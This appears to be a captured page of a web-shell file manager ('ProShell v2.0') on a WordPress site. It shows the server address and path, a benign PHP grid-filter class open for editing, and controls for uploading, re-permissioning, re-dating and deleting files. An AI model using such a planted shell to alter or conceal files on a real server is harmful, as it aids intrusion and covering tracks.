ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
wp-includes
2026-09-19 11:43:16
Editing: Text.php
Cancel
Save Changes
<?php /** * Basic text filter for grid - limit records display by searching * of entered filter text in configured datasource fields */ class Am_Grid_Filter_Text extends Am_Grid_Filter_Abstract { protected $fields = array(); protected $attributes = array( 'size' => 30, ); public function __construct($title, $fields, $attributes = array()) { $this->title = $title; if (!is_array($fields)) $this->fields = array($fields => '='); else $this->fields = $fields; if ($attributes) $this->attributes = $attributes; } protected function applyFilter() { $filter = $this->vars['filter']; if (empty($filter) || !$this->fields) return ; $condition = null; foreach ($this->fields as $field => $op) { $c = new Am_Query_Condition_Field($field, $op, $op == 'LIKE' ? "%$filter%" : $filter); if (!$condition) $condition = $c; else $condition->_or($c); } $this->grid->getDataSource()->getDataSourceQuery()->add($condition); } public function renderInputs() { return $this->renderInputText(); } }
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete